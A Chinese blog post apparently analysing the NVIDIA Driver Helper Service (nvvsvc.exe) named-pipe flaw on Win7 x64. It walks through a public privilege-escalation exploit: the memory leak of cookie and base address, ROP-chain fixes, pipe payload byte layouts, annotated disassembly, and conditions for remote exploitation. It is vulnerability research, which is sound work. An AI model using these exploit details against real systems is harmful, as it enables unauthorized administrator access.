漏洞背景
圣诞节,一个网名“Winter-Smith”(冬日史密斯)的黑客公布了NVIDIA显卡驱动中存在的一个严重安全漏洞,可以轻松获取系统权限。这位老兄还很厚道地在网上公开了漏洞的完整细节,有经验的黑客完全可以拿过来就利用,搞的NVIDIA的某些员工这个圣诞和新年是没法清净。
NVIDIA Driver Helper Service,是一个r3层的服务,程序是nvvsvc.exe(win7)或nvvsvc32.exe(xp),这个程序启动后会创建一个命名管道\pipe\nvsr,比较特别的是这个管道的dacl是空,也就是说everyone都可以访问,xpx32版下0x52命令也不支持,同时老版本的xp版nvsvc32.exe根本没建命名管道。这个漏洞利用只针对win7x64版有效,在win7x32版上只能够做到infoleak。
调试环境
系统环境 Win7sp1 x64 windbg IDA
驱动程序提供商 NVIDIA GT520M
驱动程序版本 8.17.12.9555
服务名称 NVIDIA Display Driver Service
服务进程 nvvsvc.exe
需要说明的是,在windows xp下产生服务的程序是nvsvc32.exe,windows 7下产生服务的是nvvsvc.exe。
漏洞分析
刚开始从网上找到源码,先在我的win7x32下编译运行,程序到第二步直接就挂掉了,提示:!! Unable to create named pipe。然后将程序编译成64位,在虚拟机里win7x64下运行,依然得到相同的结果。
开始看博客原文,大概了解以后知道是测试环境没有对,需要Nvidia的gt540m显卡和win7x64。而且在虚拟机里无法进行测试,因为需要nvvsvc.exe后台服务运行,虚拟机不支持。这就为测试环境提出了非常苛刻的条件。原文博客上记载如果测试成功,会增加一个r00t的管理员,测试窗口显示如下:
C:\Users\Peter\Desktop\NVDelMe1>nvvsvc_expl.exe 127.0.0.1
** Nvvsvc.exe Nsvr Pipe Exploit (Local/Domain) **
[@peterwintrsmith]
- Win7 x64 DEP + ASLR + GS Bypass - Christmas 2012 -
Action 1 of 9: - CONNECT
Action 2 of 9: - CLIENT => SERVER
Written 16416 (0x4020) characters to pipe
Action 3 of 9: - SERVER => CLIENT
Read 16504 (0x4078) characters from pipe
Action 4 of 9: Building exploit ...
=> Stack cookie 0xe2e2893340d4:
=> nvvsvc.exe base 0x13fb90000:
Action 5 of 9: - CLIENT => SERVER
Written 16416 (0x4020) characters to pipe
Action 6 of 9: - SERVER => CLIENT
Read 16384 (0x4000) characters from pipe
Action 7 of 9: - CLIENT => SERVER
Written 16416 (0x4020) characters to pipe
Action 8 of 9: - SERVER => CLIENT
Read 16896 (0x4200) characters from pipe
Action 9 of 9: - DISCONNECT
找到gt540m + win7x64这个环境以后测试只能走到第八步,错误提示:
!! Error reading from pipe (at least, no data on pipe)
然后我在自己的电脑上gt520m + win7x64测试也是得到相同的结果,挂到第八步,这样的话就需要去分析源码了。
源码的大概流程是先查找目标机是否存在一个名字为nvsr的管道,如果存在与其进行连接,通过往管道里写入数据从得到的返回数据里得到目标机泄漏出来的cookie和nvvsvc.exe基址,然后通过构造ROP链突破DEP执行shellcode,增加管理员r00t也就是shellcode完成的工作。Shellcode的执行是在nvvsvc进程中执行的,而nvvsvc.exe驱动服务具有管理员权限,因此就完成了提权的过程。
通过对源码的分析,回过头看,挂在第二步肯定就是没找到nvsr管道。本机存在管道的查看可以通过pipelist工具进行查看。挂在第八步就需要对源码进行调试分析,看到底是哪里出错了。通过与测试成功窗口进行对比,挂在第八步的时候,我们看到第四步,并没有显示=> nvvsvc.exe base 0x13fb90000:这条提示符,也就是说并没有找对nvvsvc.exe基址。
在第四步代码之前下断点,经过多次调试以后,发现不同的Nvidia驱动版本对应的匹配字节是不相同的。比如在我的gt520m 驱动版本:8.17.12.9555上边测试就应该是0xb41,这样匹配以后才能算出正确的nvvsvc.exe基址。后边在经过测试验证,在相同的显卡,不同的驱动版本下匹配字节也是不相同的,这就是为什么我们找到了gt540m+win7x64的环境依然不能得到正确的结果。再后来又经过测试,在不同的显卡,相同的驱动版本下匹配字节相同,也就是可以做到通用。在整个调试过程中,不能在虚拟机调试,而且只要调试过一次,nvvsvc.exe后台驱动服务就会挂掉,需要重新启动系统才可以恢复,是一个相当麻烦的过程。
问题找到后,接下来就是构造ROP链的问题了,因为基址不同,ROP链也需要自己重新构造。在构造ROP链过程中,遇到了两个问题,首先是virtualprotect函数参数的使用,源码中给了第二个参数dwSize赋值的是0x1,源码中说明是整个一页,但是实际测试中并不能够成功,最后将其改成0x300成功。第二个问题也是想了很久,也是一个很有意思的问题,在构造ROP链的最后一步jmp rsp,这条指令地址为基址+0xb7153,在调试时候始终跳不过去执行shellcode,最后找到的原因是因为这个偏移太大了,已经不在代码段了,因此是不可执行的指令,最后换上call rsp成功实现跳转执行shellcode。
漏洞利用
攻击者先查找是否能够找到命名管道\pipe\nvsr,如果找到就与其建立通信,分三次往管道中写入数据,第一次泄漏出模块基址用于构造ROP链,第二次将带有ROP链和shellcode的数据写入管道,第三次重新布局数据最后执行shellcode.由于nvvsvc服务具有管理员权限,因此就实现了提权过程。
泄漏出模块基址构造ROP链
第一次写入数据BuildMalicious_LeakStack()总共0x4020字节
Base + 0x0000 52 00
Base + 0x0002 41 00 41 00 41 00 41 00....
Base + 0x4002 00 00
Base + 0x4004 00 00 00 00
Base + 0x4008 78 40 00 00
Base + 0x400c 41 41 41 41
Base + 0x4010 41 41 41 41
Base + 0x4014 41 41 41 41
Base + 0x4018 41 41 41 41
Base + 0x401c 41 41 41 41
读出数据 0x4200(即nvvsvc服务写入管道数据0x4078)
rgReadBuf+0x0000 41 41 41 41
rgReadBuf+0x0004 41 41 41 41
rgReadBuf+0x0008 41 41 41 41
rgReadBuf+0x000c 41 41 41 41
rgReadBuf+0x0010 41 41 41 41
rgReadBuf+0x0010 00 00 00 00
...
rgReadBuf+0x4034 2e 5d 29 39 44 f5 00 00
rgReadBuf+0x403c 41 3b 7f 3f 01 00 00 00
...
ROP链和shellcode的数据写入管道
nvvsvc服务写入管道数据的方法:
首先会先取管道中数据(即攻击者CLIENT写入管道的数据)头两个字节作为操作判断符号,本漏洞利用的就是0x52操作,操作方式为读写数据。然后判断第三个字节是否为0x00,如果不为0x00,循环判断,最多循环0x2000次,判断结束后,将其后边数据偏移四个字节作为写入管道的数据长度,如上边的0x4078.然后将长度后边的数据作为写入管道的数据,如上边的0x41414141。也就是说最后nvvsvc服务先将Base + 0x400c处开始的长度为0x4078个数据复制到Base + 0x4020处,最后再将这些数据写入管道中。在调用复制数据函数的时候没有做任何有关长度的检测,导致将base+0x400c+0x4034的cookie和base+0x400c+0x403c处的模块基址(需要减去一个偏移)泄漏出来并写入管道,最后攻击者CLIENT读出这些数据加以利用。
base+0x400c+0x403c处的模块基址需要做一些处理才能使用,比如上边读到的是0x013f7f3b41,先将这个值&0xfff得到后三位0xb41,这个值对应着每个NviDia的驱动版本,不同版本的驱动程序释放出来的nvvsvc.exe模块代码稍有不同,因此构造ROP链也会有差异。最后将0x013f7f3b41减去后四位0x3b41就得到了nvvsvc.exe模块基址。
第二次 写入数据BuildMalicious_FillBuf() 总共0x4020
Base + 0x0000 52 00
Base + 0x0002 00 00
Base + 0x0004 00 00 00 00
Base + 0x0008 00 40 00 00
Base + 0x000c 43 43 43 43...
Base + 0x0018 2e 5d 29 39 44 f5 00 00 cookie
Base + 0x0020 43 43 43 43....
Base + 0x0040 ROP链...
Base + 0x0158 shellcode...
...
其他0x43覆盖
读出数据 0x4000(即nvvsvc服务写入管道数据0x4000)
rgReadBuf+0x0000 43 43 43 43...
...
rgReadBuf+0x0044 ROP链...
rgReadBuf+0x014c shellcode...
...
其他0x43覆盖
第三次 写入数据BuildMalicious_OverwriteStack() 总共0x4020
Base + 0x0000 52 00
Base + 0x0002 00 00
Base + 0x0004 00 00 00 00
Base + 0x0008 40 43 00 00
Base + 0x000c 42 42 42 42...
...
经过管道处理复制(0x4340个字节)以后,在nvvsvc模块缓冲区中
Base + 0x0000 52 00
Base + 0x0002 00 00
Base + 0x0004 00 00 00 00
Base + 0x0008 40 43 00 00
Base + 0x000c 42 42 42 42...
...
Base+0x401c 42 42 42 42
Base+0x4020 42 42 42 42
...
Base+0x8034 43 43 43 43
...
Base+0x8064 rop链...
Base+0x8078 shellcode...
...
通过控制复制的字节长度,最后一步恢复堆栈时候 lea r11,[rsp+82B0h]将跳到我们控制的地方。
读出数据 0x4200(nvvsvc服务写入管道数据0x4340)
rgReadBuf+0x0000 42 42 42 42...
...
rgReadBuf+0x4014 43 43 43 43
...
rgReadBuf+0x4044 rop链...
rgReadBuf+0x414c shellcode...
...
IDA关键代码:
.text:0000000000003B18 mov rax, rsp
.text:0000000000003B1B mov [rax+10h], rbx
.text:0000000000003B1F mov [rax+18h], rsi
.text:0000000000003B23 mov [rax+20h], rdi
.text:0000000000003B27 push rbp
.text:0000000000003B28 push r12
.text:0000000000003B2A push r13
.text:0000000000003B2C push r14
.text:0000000000003B2E push r15
.text:0000000000003B30 lea rbp, [rax-81D8h]
.text:0000000000003B37 mov eax, 82B0h
.text:0000000000003B3C call sub_49880
.text:0000000000003B41 sub rsp, rax
.text:0000000000003B44 mov rax, cs:qword_C5148
.text:0000000000003B4B xor rax, rsp
.text:0000000000003B4E mov [rbp+81A0h], rax
.text:0000000000003B55 xor r14d, r14d
.text:0000000000003B58 lea r9, [rsp+28h+NumberOfBytesRead] ; lpNumberOfBytesRead
.text:0000000000003B5D lea rdx, [rbp+160h] ; lpBuffer
.text:0000000000003B64 mov r8d, 4020h ; nNumberOfBytesToRead
.text:0000000000003B6A mov rsi, rcx
.text:0000000000003B6D mov [rsp+28h+NumberOfBytesRead], r14d
.text:0000000000003B72 mov [rsp+28h+NumberOfBytesWritten], r14d
.text:0000000000003B77 mov [rsp+28h+nNumberOfBytesToWrite], r14d
.text:0000000000003B7C mov [rsp+28h+var_8], r14
.text:0000000000003B81 call cs:ReadFile
; nvvsvc服务从管道固定读入4020个字节数据到缓冲区
.text:0000000000003B87 test eax, eax
.text:0000000000003B89 jz loc_406F
.text:0000000000003B8F mov ebx, 2000h
.text:0000000000003B94 lea edi, [r14+52h] ; edi=52h
.text:0000000000003B98 lea r15d, [r14+12h] ; r15=12h
.text:0000000000003B9C
.text:0000000000003B9C loc_3B9C: ; CODE XREF: sub_3B18+551j
.text:0000000000003B9C cmp [rsp+28h+NumberOfBytesRead], r14d ; [rsp+28h+NumberOfBytesRead]=4020h,r14d=0
.text:0000000000003BA1 jz loc_406F
.text:0000000000003BA7 movzx ecx, word ptr [rbp+160h]
;将读入的数据头两个字节放入ecx中,ecx=0052,根据头两字节来判断操作,根据后边调试分析,0x52为管道读写操作,读写方法上边已经介绍。
.text:0000000000003BAE sub ecx, 23h ; ecx=2f
.text:0000000000003BB1 jz loc_3F70
.text:0000000000003BB7 sub ecx, 20h ; ecx=f
.text:0000000000003BBA jz loc_3E9C
.text:0000000000003BC0 dec ecx
.text:0000000000003BC2 jz loc_3E41
.text:0000000000003BC8 sub ecx, 3
.text:0000000000003BCB jz loc_3DBB
.text:0000000000003BD1 sub ecx, 5
.text:0000000000003BD4 jz loc_3D35
.text:0000000000003BDA sub ecx, 6
.text:0000000000003BDD jz loc_3CB2 ; 跳转
.text:0000000000003BE3 cmp ecx, 5
.text:0000000000003BE6 jz short loc_3BFA
.text:0000000000003BE8 mov r8d, 1Ch
.text:0000000000003BEE lea rdx, aUnknownToken ; "Unknown token"
.text:0000000000003BF5 jmp loc_3F5F
......
text:0000000000003CB2 loc_3CB2: ; CODE XREF: sub_3B18+C5j
.text:0000000000003CB2 lea rcx, [rbp+162h]
.text:0000000000003CB9 mov rdx, rbx
.text:0000000000003CBC mov [rsp+28h+arg_4], 3
.text:0000000000003CC4 call sub_462E0
; 该函数的功能是循环判断rax次(rax最大2000h),以0作为判断终止符,然后将rax返回,下边将根据rax来复制将要写入管道的数据。
.text:0000000000003CC9 cmp cs:dword_D0990, r14d
.text:0000000000003CD0 lea r9, [rsp+28h+arg_8]
.text:0000000000003CD5 mov ecx, [rbp+rax*2+164h]
; ecx=0 [rbp+rax*2+164h]=000000007840000041414141...
.text:0000000000003CDC lea rdi, [rbp+rax*2+16Ch]
; [rbp+rax*2+16Ch]=4141414141...
.text:0000000000003CE4 lea rdx, [rsp+28h+arg_4]
.text:0000000000003CE9 mov [rsp+28h+arg_4], ecx
.text:0000000000003CED mov ecx, [rbp+rax*2+168h] ; rcx=4078
.text:0000000000003CF4 mov r8, rdi ; [r8]=41414141...
.text:0000000000003CF7 mov [rsp+28h+arg_8], ecx
.text:0000000000003CFB lea rcx, [rbp+162h]
.text:0000000000003D02 jle short loc_3D0B
.text:0000000000003D04 call sub_2C84
.text:0000000000003D09 jmp short loc_3D10
.text:0000000000003D0B ; ---------------------------------------------------------------------------
.text:0000000000003D0B
.text:0000000000003D0B loc_3D0B: ; CODE XREF: sub_3B18+1EAj
.text:0000000000003D0B call sub_2A00
.text:0000000000003D10 ; ---------------------------------------------------------------------------
.text:0000000000003D10
.text:0000000000003D10 loc_3D10: ; CODE XREF: sub_3B18+1F1j
.text:0000000000003D10 movsxd rbx, [rsp+28h+arg_8]
.text:0000000000003D15 lea rcx, [rbp+4180h]
.text:0000000000003D1C mov rdx, rdi
.text:0000000000003D1F mov r8, rbx
.text:0000000000003D22 call sub_45980
; bug!!!复制数据函数 该函数的功能就是复制将要写入管道的数据,没有做任何检测,最后返回存放该数据缓冲区指针rax。该数据将发送回攻击者,长度为4078导致内存泄漏
.text:0000000000003D27 mov [rsp+28h+nNumberOfBytesToWrite], ebx
.text:0000000000003D2B
.text:0000000000003D2B loc_3D2B: ; CODE XREF: sub_3B18+156j
.text:0000000000003D2B ; sub_3B18+198j
.text:0000000000003D2B mov edi, 52h
.text:0000000000003D30 jmp loc_4017
......
.text:0000000000004017 loc_4017: ; CODE XREF: sub_3B18+218j
.text:0000000000004017 ; sub_3B18+435j ...
.text:0000000000004017 mov ebx, [rsp+28h+nNumberOfBytesToWrite] ; ebx=4078
.text:000000000000401B lea r9, [rsp+28h+NumberOfBytesWritten] ; lpNumberOfBytesWritten [lp]=4078
.text:0000000000004020 lea rdx, [rbp+4180h] ; lpBuffer
.text:0000000000004027 mov rcx, rsi ; hFile
.text:000000000000402A mov r8d, ebx ; nNumberOfBytesToWrite 4078个字节 每次写入没有限制也没有任何检测
.text:000000000000402D mov [rsp+28h+var_8], r14
.text:0000000000004032 call cs:WriteFile ; 将4078个字节的数据写入管道中,导致内存泄漏
.text:0000000000004038 test eax, eax ; 判断是否调用成功
.text:000000000000403A jz short loc_406F
.text:000000000000403C cmp ebx, [rsp+28h+NumberOfBytesWritten] ; 判断是否写入的是4078个字节
.text:0000000000004040 jnz short loc_406F
.text:0000000000004042 lea r9, [rsp+28h+NumberOfBytesRead] ; lpnNumberOfBytesToRead ---step 5 [lp]=4020h
.text:0000000000004047 lea rdx, [rbp+160h] ; lpBuffer
.text:000000000000404E mov r8d, 4020h ; nNumberOfBytesToRead 4020h 每次固定读入4020h个字节
.text:0000000000004054 mov rcx, rsi ; hFile
.text:0000000000004057 mov [rsp+28h+var_8], r14
.text:000000000000405C call cs:ReadFile ;将攻击者CLIENT发送的数据从管道读入缓冲区
.text:0000000000004062 mov ebx, 2000h
.text:0000000000004067 test eax, eax
.text:0000000000004069 jnz loc_3B9C ; 如果读到数据则跳回前边做循环处理
攻击者发送完三次数据,nvvsvc服务最后一次从管道中读取数据失败,然后去执行关闭管道句柄过程,如下:
.text:000000000000406F
.text:000000000000406F loc_406F: ; CODE XREF: sub_3B18+71j
.text:000000000000406F ; sub_3B18+89j ...
.text:000000000000406F mov rcx, rsi ; hFile
.text:0000000000004072 call cs:FlushFileBuffers
.text:0000000000004078 mov rcx, rsi ; hNamedPipe
.text:000000000000407B call cs:DisconnectNamedPipe
.text:0000000000004081 mov rcx, rsi ; hObject
.text:0000000000004084 call cs:CloseHandle
.text:000000000000408A lock dec cs:dword_D091C
.text:0000000000004091 mov eax, 1
.text:0000000000004096 mov rcx, [rbp+81A0h]
.text:000000000000409D xor rcx, rsp
.text:00000000000040A0 call sub_455A0
.text:00000000000040A5 lea r11, [rsp+28h+arg_8280]
;恢复堆栈指针rsp, lea r11,[rsp+82b0],通过最后一步写入数据的精心布局,rsp最终将指向攻击者精心构造的数据。
.text:00000000000040AD mov rbx, [r11+38h]
.text:00000000000040B1 mov rsi, [r11+40h]
.text:00000000000040B5 mov rdi, [r11+48h]
.text:00000000000040B9 mov rsp, r11 ; 得到rsp的控制权,此时堆栈数据如下:
00000000`01b7fb00 43 43 43 43 43 43 43 43 CCCCCCCC
00000000`01b7fb08 43 43 43 43 43 43 43 43 CCCCCCCC
00000000`01b7fb10 43 43 43 43 43 43 43 43 CCCCCCCC
00000000`01b7fb18 43 43 43 43 43 43 43 43 CCCCCCCC
00000000`01b7fb20 43 43 43 43 43 43 43 43 CCCCCCCC
00000000`01b7fb28 6e 5f 31 3f 01 00 00 00 n_1?.... //rop链
00000000`01b7fb30 9c 4f 35 3f 01 00 00 00 .O5?....
00000000`01b7fb38 00 00 00 00 00 00 00 00 ........
.text:00000000000040BC pop r15
.text:00000000000040BE pop r14
.text:00000000000040C0 pop r13
.text:00000000000040C2 pop r12
.text:00000000000040C4 pop rbp
.text:00000000000040C5 retn
; 经过五次pop过后rsp指向ROP链第一条语句,retn之后开始执行ROP链,最后成功跳进shellcode.
.text:00000000000040C5 sub_3B18 endp
.text:00000000000040C5
远程利用条件
- 本机(作为攻击的计算机)必须有账户名和密码,并且密码不能为空,目标机器密码可为空。
- 本机与被攻击计算机必须在同一网段
- 关闭防火墙
- 被攻击的目标计算机必须关闭密码保护共享(本机可不关闭),如下图所示:
- 如果攻击目标机器为Win2008 R2 x64系统,则本机(作为攻击计算机)的用户名中不能与目标机器具有相同的用户名。比如本机用户为test,而目标机器(Win2008中)的账户中也有个名为test的账户,则攻击不成功。对于攻击系统为Win7 x64的计算机则没有要求。
Win7 x64和Win2008 R2 x64均测试成功!
总结
经过多次试验,关键的地方就是c:\windows\system32\nvvsvc.exe这个程序,可以将这个程序拷贝到其他计算机中相同的目录下,不论是否装有N卡驱动,然后重启查看进程,确定该驱动服务后台加载了,就可以得到相同的测试结果。也就是说nvvsvc.exe这个驱动服务在启动的时候创建了一个名字为nvsr的管道,这个管道的dacl是空,也就是说everyone都可以访问。这就是该漏洞利用是否成功的关键。
这个漏洞要做到通用,还需要收集各种显卡的驱动程序,其实也仅仅需要收集c:\windows\system32\nvvsvc.exe这个程序,而且实际构造测试发现,有些相近版本的驱动(比如gt520m的8.17.12.8590和gt630m的8.17.12.8580)也是可以通用的。目前已经收集到10个,相应的ROP链也已经构造完成,并测试能够正确执行。
最后关于这个漏洞的分析,刚开始一直对这个nvvsvc.exe下断点断下来,后来原因也找到了,在进程中显示所有用户进程会发现两个nvvsvc.exe服务进程,一个可以断到,一个断不到,所以两个都需要下断点才可以。调试发现给最先加载的那个服务进程下断点就可以了。对于这个漏洞还有需要研究的地方,比如除了0x52操作,其他几个操作完成了什么样的功能,是否有可利用之处,需要有时间再跟踪调试一下。
没有评论:
发表评论